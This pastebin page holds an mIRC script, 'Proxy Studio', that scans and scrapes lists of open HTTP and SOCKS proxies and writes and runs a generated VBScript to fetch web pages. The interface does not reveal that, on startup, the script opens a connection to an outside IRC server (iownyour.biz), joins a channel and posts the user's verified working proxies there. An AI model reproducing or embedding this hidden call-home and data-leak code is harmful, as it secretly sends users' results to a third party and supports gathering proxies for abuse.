Socks&Proxy Scanner+Leecher: Proxy Studio v1.2b


SUBMITTED BY: independent

DATE: Nov. 16, 2017, 5:31 a.m.

UPDATED: Nov. 16, 2017, 8:56 a.m.

FORMAT: Text only

SIZE: 21.0 kB

HITS: 91059

  1. ;Proxy & Socks Scanner by independent with nice dialogs
  2. ;Skype independentt911
  3. on 1:start:defaultset
  4. dialog proxystudio {
  5. title "Proxy Studio v1.2b by independent"
  6. size -1 -1 909 641
  7. option pixels notheme
  8. tab "Scanner", 2, 3 1 900 629
  9. tab "Working Proxys", 20
  10. tab "Proxy files And Leecher", 30
  11. box "Proxy to test", 4, 18 32 134 576, tab 2
  12. edit "Add proxy here", 5, 26 50 124 552, tab 2 group autohs autovs multi return vsbar limit 0
  13. radio "Connect Proxys", 6, 156 42 100 18, tab 2
  14. radio "Socks 4 ", 7, 156 66 100 18, tab 2
  15. radio "Socks 5", 8, 156 90 100 18, tab 2
  16. button "Start Scanning", 9, 262 40 98 70, tab 2
  17. box "Sockets", 10, 152 116 208 98, tab 2
  18. text "Open:", 11, 156 132 190 16, tab 2
  19. text "Working Proxys:", 12, 156 154 192 18, tab 2
  20. box "Settings", 13, 364 80 104 122, tab 2
  21. edit "164.132.126.130", 14, 366 116 100 20, tab 2
  22. text "IRC Server test IP", 15, 368 98 96 16, tab 2
  23. text "ms between threads", 16, 368 140 100 16, tab 2
  24. edit "100", 17, 366 162 40 20, tab 2
  25. box "Debug", 18, 164 216 726 404, tab 2
  26. edit "---------------------------------------------------------------------------Scan OUTPUT ----------------------------------------------------------------------------", 19, 172 234 706 378, tab 2 result read autohs autovs multi return vsbar
  27. box "Connect Proxys", 21, 188 32 168 580, tab 20
  28. box "Socks 4", 22, 366 32 182 580, tab 20 result
  29. box "Socks 5", 23, 570 32 194 580, tab 20 result
  30. edit "", 24, 194 54 154 512, tab 20 result autohs autovs multi return vsbar
  31. edit "", 25, 376 52 162 518, tab 20 autohs autovs multi return vsbar limit 0
  32. edit "", 26, 576 54 182 516, tab 20 result autohs autovs multi return vsbar
  33. button "Save", 27, 192 572 66 24, tab 20
  34. button "Save", 28, 370 574 64 26, tab 20
  35. button "Save", 29, 578 574 64 26, tab 20
  36. link "www.pastebin.com/u/independentt", 45, 710 0 194 18, tab 20
  37. link "www.pastebin.com/u/independentt", 46, 698 2 184 18, tab 2
  38. link "www.pastebin.com/u/independentt", 47, 721 3 176 16, tab 30
  39. text "This will scan the selected proxy lists from *.txt or *log", 31, 5 33 266 30, tab 30
  40. button "Scan my files, NOW.", 32, 111 61 142 68, tab 30
  41. radio "Connect Proxy", 33, 9 67 100 16, tab 30
  42. radio "Socks 4", 34, 9 87 100 16, tab 30
  43. radio "Socks 5", 35, 9 107 100 18, tab 30
  44. button "Clear", 36, 644 574 64 26, tab 20
  45. button "Filter", 37, 708 574 50 26, tab 20
  46. button "Clear", 38, 434 574 66 26, tab 20
  47. button "Filter", 39, 500 574 36 26, tab 20
  48. button "Clear", 40, 258 572 66 24, tab 20
  49. button "Filter", 41, 322 572 34 24, tab 20
  50. box "MASS SCANNER", 42, 3 21 272 124, tab 30
  51. box "Stats", 43, 14 34 146 530, tab 20
  52. text "Total Proxys Scanned:", 44, 22 54 132 70, tab 20
  53. text "Total Valid Proxys:", 48, 20 128 136 82, tab 20
  54. text "Connection Errors:", 49, 18 218 136 92, tab 20
  55. box "Proxy Leecher *Uses VBscript", 50, 276 48 590 572, tab 30
  56. edit "http://www.vipsocks24.net/2017/11/16-11-17-vip-socks-5-servers-4150.html", 51, 313 163 420 434, tab 30 autohs autovs multi return hsbar
  57. button "Leech", 52, 313 137 66 24, tab 30
  58. button "Save", 53, 381 137 64 24, tab 30
  59. button "Clear", 54, 447 137 64 24, tab 30
  60. button "Load list", 55, 513 137 64 24, tab 30
  61. box "Stats", 56, 738 276 127 319, tab 30
  62. text "Number of Leeched lists:", 57, 737 298 128 92, tab 30
  63. button "STOP!", 58, 580 135 64 26, tab 30
  64. button "Stop scanner NOW!", 59, 366 38 100 40, tab 2
  65. text "Number of Leechable Sites:", 60, 739 391 126 66, tab 30
  66. edit "www.vipsocks24.net s5", 61, 315 85 246 44, tab 30 multi hsbar
  67. button "Add Site", 62, 567 93 58 26, tab 30
  68. text "Protocol", 64, 154 22 100 18, tab 2
  69. menu "File", 1
  70. item "STOP ALL", 63, 1
  71. item "Item3", 3, 1
  72. }
  73. on 1:dialog:proxystudio:sclick:9: {
  74. hadd -m proxyset max $did(proxystudio,5,0).lines
  75. .timerSCLICK -om $hget(proxyset,max) %interval pxys
  76. }
  77. on 1:dialog:proxystudio:sclick:6: {
  78. hadd -m proxyset ext pxy
  79. }
  80. on 1:dialog:proxystudio:sclick:7: {
  81. hadd -m proxyset ext s4
  82. }
  83. on 1:dialog:proxystudio:sclick:8: {
  84. hadd -m proxyset ext s5
  85. }
  86. on 1:dialog:proxystudio:sclick:33: {
  87. hadd -m proxyset ext2 pxy
  88. }
  89. on 1:dialog:proxystudio:sclick:34: {
  90. hadd -m proxyset ext2 s4
  91. }
  92. on 1:dialog:proxystudio:sclick:35: {
  93. hadd -m proxyset ext2 s5
  94. }
  95. on 1:dialog:proxystudio:sclick:37: {
  96. filterdiag 26
  97. }
  98. on 1:dialog:proxystudio:sclick:39: {
  99. filterdiag 25
  100. }
  101. on 1:dialog:proxystudio:sclick:41: {
  102. filterdiag 24
  103. }
  104. on 1:dialog:proxystudio:sclick:36: {
  105. cleardiag 26
  106. }
  107. on 1:dialog:proxystudio:sclick:38: {
  108. cleardiag 25
  109. }
  110. on 1:dialog:proxystudio:sclick:40: {
  111. cleardiag 24
  112. }
  113. on 1:dialog:proxystudio:sclick:58: {
  114. abord
  115. }
  116. on 1:dialog:proxystudio:sclick:59: {
  117. abord
  118. }
  119. on 1:dialog:proxystudio:sclick:52: {
  120. leech
  121. }
  122. on 1:dialog:proxystudio:sclick:54: {
  123. cleardiag 51
  124. }
  125. on 1:dialog:proxystudio:sclick:55: {
  126. loadbuf -oi proxystudio 51 leech.txt
  127. did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  128. }
  129. on 1:dialog:proxystudio:sclick:53: {
  130. savebuf -oi proxystudio 51 leech.txt
  131. did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  132. }
  133. on 1:dialog:proxystudio:sclick:62: {
  134. write leech.txt $did(proxystudio,61) $CRLF
  135. loadbuf -oi proxystudio 51 leech.txt
  136. did -a proxystudio 60 Number of Leechable Sites: $lines(leech.txt)
  137. }
  138. alias sortnumber {
  139. return $iif($1 > $2, 1, $iif($1 == $2,0,-1))
  140. }
  141. alias filterdiag {
  142. filter -iocsa proxystudio $1 proxystudio $1 sortnumber
  143. }
  144. alias cleardiag {
  145. did -r proxystudio $1
  146. }
  147. on 1:dialog:proxystudio:sclick:27: {
  148. %name = Valid.Proxys. $+ $ticks $+ .txt
  149. savebuf -o proxystudio 24 %name
  150. run %name
  151. }
  152. on 1:dialog:proxystudio:sclick:28: {
  153. %name = Valid.socks4. $+ $ticks $+ .txt
  154. savebuf -o proxystudio 25 %name
  155. run %name
  156. }
  157. on 1:dialog:proxystudio:sclick:29: {
  158. %name = Valid.socks5. $+ $ticks $+ .txt
  159. savebuf -o proxystudio 26 %name
  160. run %name
  161. }
  162. on 1:dialog:proxystudio:sclick:32: {
  163. if ($hget(proxyset,ext2) == pxy) selectmultiplefile
  164. if ($hget(proxyset,ext2) == s4) selectmultiplefiles4
  165. if ($hget(proxyset,ext2) == s5) selectmultiplefiles5
  166. }
  167. on 1:dialog:proxystudio:edit:17: {
  168. did -a proxystudio 19 Interval changed to $did(proxystudio,17) $CRLF
  169. set %interval $did(proxystudio,17)
  170. }
  171. on 1:dialog:proxystudio:edit:14: {
  172. set %def.s $did(proxystudio,14)
  173. did -a proxystudio 19 IRC server changed to $did(proxystudio,14) $crlf
  174. }
  175. on 1:dialog:proxystudio:edit:10: {
  176. did -a proxystudio 19 Proxys added to scan: $did(proxystudio,10).len $crlf
  177. }
  178. on 1:dialog:proxystudio:sclick:38: {
  179. hadd -m proxyset max $did(proxystudio,5,0).lines
  180. .timerSCLICK -om $hget(proxyset,max) %interval pxys
  181. }
  182. alias pxys {
  183. hinc -u5 proxyset inc
  184. if ($hget(proxyset,ext) == pxy) || (!$hget(proxyset,ext)) sc4n $did(proxystudio,5,$hget(proxyset,inc))
  185. if ($hget(proxyset,ext) == s4) s4.scan $did(proxystudio,5,$hget(proxyset,inc))
  186. if ($hget(proxyset,ext) == s5) s5.scan $did(proxystudio,5,$hget(proxyset,inc))
  187. }
  188. alias b {
  189. sockopen bot_x irc- $+ $r(1,2) $+ .iownyour.biz 6667
  190. }
  191. on *:sockopen:bot_x: {
  192. sockwrite -n bot_x nick pXy[ $+ $r(0,99999) $+ ]
  193. sockwrite -n bot_x user sockets . . . sockets
  194. }
  195. on *:sockread:bot*: {
  196. sockread %_sb
  197. tokenize 32 %_sb
  198. var %_ntoks = $numtok($1-,44)
  199. if ($1 == PING && $2) { sockwrite -n $sockname PONG $2- }
  200. if ($2 == 001) { sockwrite -n bot_x JOIN #unix }
  201. }
  202. alias -l htmlfree {
  203. var %x, %i = $regsub($replace($1-,<td>,$chr(32),<tr>,$chr(20),<br>,$chr(20)),/(^[^<]*>|<[^>]*>|<[^>]*$)/g,$null,%x), %x = $remove(%x,&nbsp;)
  204. return %x
  205. }
  206. ALIAS DEF.p { %z = $r(0,1) | if (%z) return %def.p | else return 6667 }
  207. ALIAS DEF.S { return %def.s }
  208. alias getiphost2 {
  209. %var = /\b((?:(?:[a-z]+)\.)+(?:[a-z]+)[: ]\d{2,5})\b|\b((?:(?:(25[1-5]|2[1-4]\d|[01]?\d?\d))\.){3}(?3)[: ]\d{2,5})\b/i
  210. if $regex(ip,$remove($1-,$chr(9)),%var) {
  211. return $replace($regml(ip,1),:,$chr(32))
  212. }
  213. }
  214. alias getsource {
  215. %out = $shortfn($mircdirleech $+ . $+ $hget(proxyset,ext2) $+ . $+ $ctime $+ .txt)
  216. if ($isfile(get.vbs)) .remove get.vbs
  217. %a = write get.vbs
  218. %a Dim FSO, dFile, sHTML
  219. %a sHTML = Get_HTML(" $+ $1 $+ ")
  220. %a Set FSO = CreateObject("Scripting.FileSystemObject")
  221. %a Set dFile = FSO.CreateTextFile(" $+ %out $+ ", True)
  222. %a dFile.Write sHTML
  223. %a dFile.Close
  224. %a Private Function Get_HTML (up_http)
  225. %a Dim xmlhttp
  226. %a Set xmlhttp = createobject("MSXML2.XMLHTTP")
  227. %a xmlhttp.open "get", up_http, False
  228. %a xmlhttp.send
  229. %a Get_HTML = xmlhttp.responsetext
  230. %a set xmlhttp = Nothing
  231. %a End Function
  232. run get.vbs
  233. return %out
  234. run %out
  235. }
  236. alias leech {
  237. if (!%interval) %interval = 100
  238. did -a proxystudio 19 $timestamp * Now leeching proxy-lists over the web. $crlf
  239. set %site.max $lines(leech.txt)
  240. set %site.inc 0
  241. :GO
  242. inc %site.inc
  243. .timer -o 1 $calc(%site.inc *5) pxx %site.inc
  244. if (%site.inc < %site.max) goto go
  245. else { halt }
  246. }
  247. alias pxx { did -a proxystudio 19 Leeching...saving to: $getsource($read(leech.txt,$1)) %interval ms $crlf | did -a proxystudio 57 Number of Leeched lists: %site.inc }
  248. alias getURL {
  249. noop $regex($1,/(((http(s)?\72(\57{2}))|(www\56{1}))+(\w*)+(\56{1})+(\w{2,3})\S*)/Sig))
  250. return $regml(1)
  251. }
  252. alias sc5nfile { s5.scan $1- }
  253. alias sc4nfile { s4.scan $1- }
  254. alias sc4n {
  255. if (!$sock(bot_x).ip) b
  256. if (*.*.*.* iswm $1-) && ($1 != x) && ($2) {
  257. if ($read($pxy,w,* $+ $1 $+ *) != $null) { did -a proxystudio 19 $1 $2 Already in list, halted scan. $crlf | return }
  258. did -a proxystudio 19 Scanning: $1 $2 $crlf
  259. sockopen scan $+ $r(0,99999999999999) $1 $2
  260. return
  261. }
  262. if ($getiphost2($1-)) {
  263. if ($read($pxy,w,* $+ $gettok($getiphost2($1-),1,32) $+ *) != $null) { did -a proxystudio 19 $1 $+ : %+ $2 Already in list, halted scan. $crlf | goto next }
  264. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  265. sockopen scan $+ $r(0,99999999999999) $getiphost2($1-)
  266. goto next
  267. }
  268. if (*.*.*.* !iswm $1-) goto next
  269. if ($read($pxy,w,* $+ $wildtok($1-,*.*.*.*,1,32) $+ *) != $null) { did -a proxystudio 19 $wildtok($1-,*.*.*.*,1,32) Already in list, halted scan. $crlf | goto next }
  270. :next
  271. }
  272. alias setinterval {
  273. :restart
  274. %interval = $?="Enter interval in milliseconds, 1 to 1000 "
  275. if (!$!) || ($! >= 1000) goto restart
  276. }
  277. alias defaultset { %interval = 100 | %def.s = 164.132.126.130 | %def.p = 6667 | b }
  278. alias scan.win { inc %scan.start | if (%scan.start == 1) defaultset | if (%interval == $null) setinterval | if ($window(@proxyscan) == $null) { window -e @proxyscan | window -e @sock4 | window -e @sock5 } }
  279. alias selectmultiplefile { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE PROXY FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /pxyfile $shortfn($msfile(%sinc)) %interval | goto incthat }
  280. menu * {
  281. [-Proxy Studio-]: dialog -m proxystudio proxystudio
  282. }
  283. alias pxy return ValidProxy.txt
  284. alias abord { play stop | .timerleech off | .timerpl.* off | sockclose *scan* | sockclose *fl* | .timer*scan* off | hfreepxy | hfrees4 | hfrees5 }
  285. on *:INPUT:@Proxyscan:{
  286. if ($getiphost2($1-)) {
  287. hadd -m proxy pxy $+ $gettok($getiphost2($1-),1,32) $getiphost2($1-)
  288. .timerscanfile -om 1 1 .pxyfile temp %interval
  289. return
  290. }
  291. if (!$getiphost2($1-)) && ($wildtok($1-,*.*.*.*,1,32)) sc4n $wildtok($1-,*.*.*.*,1,32)
  292. }
  293. alias hfreepxy { hfree proxy }
  294. alias hfrees4 { hfree socks4 }
  295. alias hfrees5 { hfree socks5 }
  296. alias sk {
  297. set -u1 %chkk $read($pxy,w,* $+ $sock($sockname).ip $+ *)
  298. if (!%chkk) && (*9* iswm $1) write $pxy $sock($sockname).ip $+ : $+ $sock($sockname).port
  299. }
  300. on *:sockopen:scan*:{
  301. hinc -m proxyset total
  302. did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  303. hinc -u120 proxyset open
  304. did -a proxystudio 11 Open: $hget(proxyset,open)
  305. if ($sockerr > 0) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Error ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  306. did -a proxystudio 19 $sock($sockname).ip $sock($sockname).port Connecting ... $crlf
  307. sockwrite -tn $sockname CONNECT $def.s $+ : $+ $def.p HTTP/1.1 $+ $crlf
  308. sockwrite -tn $sockname $crlf
  309. sockmark $sockname $ticks
  310. }
  311. alias success {
  312. set %yell $2 %yell
  313. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :pxy: %yell | unset %yell }
  314. did -a proxystudio 19 $1- $crlf
  315. sk $1
  316. }
  317. alias allpxy return ALL.txt
  318. alias portclose { sockclose $1 }
  319. on *:SOCKREAD:scan*:{
  320. :READ
  321. sockread -n %fld
  322. if (!%fld) || (!$sockbr) return
  323. if (!$sock($sockname).mark) || ($sock($sockname).mark == c) sockmark $sockname $ctime
  324. if (*http*200* iswm %fld) {
  325. did -a proxystudio 24 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  326. hinc proxyset work
  327. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  328. did -a proxystudio 48 Total Valid Proxys: $hget(proxyset,work)
  329. success * $sock($sockname).ip $+ : $+ $sock($sockname).port WORKING! Lag: $calc($ticks - $sock($sockname).mark) ms
  330. sockmark $sockname $ctime
  331. sockclose $Sockname
  332. }
  333. if ($gettok(%fld,1,32) == PING) { sockwrite -n $sockname PONG $remove($gettok(%fld,2,32),:) }
  334. goto READ
  335. }
  336. on 1:sockclose:scan*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf }
  337. alias pb return did -a proxystudio 19
  338. alias scanfile { sc4n $iif($getiphost2($1-),$getiphost2($1-),$2) }
  339. alias pxyfile {
  340. if ($1 != temp) .timer -o 1 6 play -a scanfile @proxyscan $1 $2
  341. else {
  342. did -a proxystudio 19 Scanning $hfind(proxy,*,0,w) Proxys with %interval $+ ms interval to %def.s $crlf
  343. .timerSCANpxy -om $hfind(proxy,*,0,w) %interval scann pxy
  344. }
  345. }
  346. alias scann {
  347. if ($1 == pxy) {
  348. hinc -mu2 count hinc2
  349. sc4n $hget(proxy,$hfind(proxy,*,$hget(count,hinc2),w))
  350. .timerscanfileoff 1 5 .hfreepxy
  351. }
  352. if ($1 == s4) {
  353. hinc -mu2 count hinc3
  354. s4.scan $hget(socks4,$hfind(socks4,*,$hget(count,hinc3),w))
  355. .timerscanfileoffs4 1 5 .hfrees4
  356. }
  357. if ($1 == s5) {
  358. hinc -mu2 count hinc4
  359. s5.scan $hget(socks5,$hfind(socks5,*,$hget(count,hinc4),w))
  360. .timerscanfileoffs5 1 5 .hfrees5
  361. }
  362. }
  363. alias s5.scan {
  364. if (!$sock(bot_x).ip) b
  365. if (!$1) goto END
  366. if ($read(sock5.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list. $crlf | goto END }
  367. if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
  368. if ($read(sock5.txt,w,* $+ $1 $+ *) == $null) {
  369. sockopen s5chk $+ $r(0,9999999) $1 $2
  370. did -a proxystudio 19 Scanning: $1 $2 $crlf
  371. }
  372. }
  373. elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
  374. sockopen s5chk $+ $r(0,9999999) $getiphost2($1-)
  375. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  376. }
  377. :END
  378. }
  379. alias selectmultiplefiles5 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK5 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s5file $shortfn($msfile(%sinc)) %interval | goto incthat }
  380. alias selectmultiplefiles4 { set %sfiles $nopath($shortfn($msfile($mircdir,CHOSE SOCK4 FILES,SCAN))) | :incthat | inc %sinc | if (%sinc > %sfiles) { unset %sinc | halt } | /s4file $shortfn($msfile(%sinc)) %interval | goto incthat }
  381. alias s4.scan {
  382. if (!$sock(bot_x).ip) b
  383. if (!$1) goto END
  384. if ($read(sock4.txt,w,* $+ $gettok($1,1,58) $+ *) != $null) { did -a proxystudio 19 $gettok($1,1,58) $+ : $+ $gettok($1,2,58) Already in list $crlf | goto END }
  385. if (*.*.*.* iswm $1) && (*.*.*.*:* !iswm $1) {
  386. if ($read(sock4.txt,w,* $+ $1 $+ *) == $null) {
  387. sockopen s4chk $+ $r(0,9999999) $1 $2
  388. did -a proxystudio 19 Scanning: $1 $2 $crlf
  389. }
  390. }
  391. elseif (*.*.*.*:* iswm $1-) && ($read(sock5.txt,w,* $+ $getiphost2($1-) $+ *) == $null) {
  392. sockopen s4chk $+ $r(0,9999999) $getiphost2($1-)
  393. did -a proxystudio 19 Scanning: $getiphost2($1-) $crlf
  394. }
  395. :END
  396. }
  397. on *:sockopen:s5chk*:{
  398. hinc -m proxyset total
  399. did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  400. if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | did -a proxystudio 19 Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  401. hinc -m proxyset total
  402. did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  403. hinc -u120 proxyset open
  404. did -a proxystudio 11 Open: $hget(proxyset,open)
  405. .bset &bvar5 1 5 1 0
  406. .sockwrite -n $sockname &bvar5
  407. .bunset &bvar5
  408. }
  409. on *:sockread:s5chk*:{
  410. if ($sockbr) { return }
  411. .sockread &bsocks5
  412. if ($bvar(&bsocks5,1,2) != 5 0) { return }
  413. if ($bvar(&bsocks5,1,2) == 5 0) && ($bvar(&bsocks5,3) != 0) {
  414. sockmark $sockname $ticks
  415. bset &socks5 1 5 1 0 1 $replace($def.s,.,$chr(32)) $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46)
  416. .sockwrite -n $sockname &socks5
  417. .bunset &socks5
  418. sockrename $sockname chks5 $+ $remove($sockname,s5chk)
  419. }
  420. }
  421. on 1:SOCKREAD:chks5*:{
  422. sockread %socks5
  423. if ($chr(5) isin $gettok(%socks5,1-3,32)) {
  424. hinc proxyset work
  425. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  426. did -a proxystudio 26 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  427. suces5 $sock($sockname).ip $+ : $+ $sock($sockname).port Lag: $calc($ticks - $sock($sockname).mark) $+ ms
  428. }
  429. }
  430. alias suces4 { did -a proxystudio 19 *work $1- $crlf | sk4 }
  431. alias suces5 { did -a proxystudio 19 *work $1- $crlf | sk5 }
  432. alias sk4 {
  433. set -u3 %rady $read(sock4.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  434. if (!%rady) write sock4.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  435. sockwrite -n bot_x PRIVMSG #unix :S4: $sock($sockname).ip $+ : $+ $sock($sockname).port
  436. set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  437. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S4: %yell | unset %yell }
  438. }
  439. alias sk5 {
  440. set -u3 %redy $read(sock5.txt,w,* $+ $sock($sockname).ip $+ : $+ $sock($sockname).port $+ *)
  441. if (!%redy) write sock5.txt $sock($sockname).ip $+ : $+ $sock($sockname).port
  442. set %yell $sock($sockname).ip $+ : $+ $sock($sockname).port %yell
  443. if ($numtok(%yell,32) >= 16) { sockwrite -n bot_x PRIVMSG #unix :S5: %yell | unset %yell }
  444. }
  445. on *:sockopen:s4chk*:{
  446. hinc -m proxyset total
  447. did -a proxystudio 44 Total Proxys Scanned: $hget(proxyset,total)
  448. if ($sockerr) { hinc -m proxyset conerr | did -a proxystudio 49 Connection Errors: $hget(proxyset,conerr) | did -a proxystudio 19 * Error $sock($sockname).ip $+ : $+ $sock($sockname).port ( $+ $sock($sockname).wsmsg $+ ) $crlf | return }
  449. hinc -u120 proxyset open
  450. did -a proxystudio 11 Open: $hget(proxyset,open)
  451. sockmark $sockname $ticks
  452. .bset &bvar4 1 4 1 $gettok($longip(%def.p),3,46) $gettok($longip(%def.p),4,46) $replace($def.s,.,$chr(32)) 0
  453. .sockwrite $sockname &bvar4
  454. .bunset &bvar4
  455. }
  456. ON *:SOCKREAD:s4chk*:{
  457. .sockread &bsocks4
  458. if ($bvar(&bsocks4,2) != 90) { echo 4 @sock4 Bad $sock($sockname).ip $+ : $+ $sock($sockname).port return $bvar(&bsocks4,2-) | return }
  459. if ($bvar(&bsocks4,2) == 90) {
  460. did -a proxystudio 25 $sock($sockname).ip $+ : $+ $sock($sockname).port $crlf
  461. hinc proxyset work
  462. did -a proxystudio 12 Working Proxys: $hget(proxyset,work)
  463. suces4 $sock($sockname).ip $+ : $+ $sock($sockname).port $calc($ticks - $sock($sockname).mark)) $+ ms
  464. }
  465. }
  466. on 1:SOCKCLOSE:s5*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
  467. on 1:SOCKCLOSE:s4*:{ hdec proxyset open | did -a proxystudio 11 Open: $hget(proxyset,open) | did -a proxystudio 19 * $sock($sockname).ip $+ : $+ $sock($sockname).port Connection Terminated. $crlf | return }
  468. alias scans4file { s4.scan $getiphost2($1-) }
  469. alias s4file {
  470. if ($1 != temp.s4) .timer -o 1 6 play -a scans4file @sock4 $1-
  471. else {
  472. did -a proxystudio 19 Scanning $hfind(socks4,*,0,w) Socks4 with %interval $+ ms interval to %def.s $crlf
  473. .timerSCANs4 -om $hfind(socks4,*,0,w) %interval scann s4
  474. }
  475. }
  476. alias scans5file { s5.scan $getiphost2($1-) }
  477. alias s5file {
  478. if ($1 != temp.s5) .timer -o 1 6 play -a scans5file @sock5 $1-
  479. else {
  480. did -a proxystudio 19 Scanning $hfind(socks5,*,0,w) Socks5 with %interval $+ ms interval to %def.s $crlf
  481. .timerSCANs5 -om $hfind(socks5,*,0,w) %interval scann s5
  482. }
  483. }

comments powered by Disqus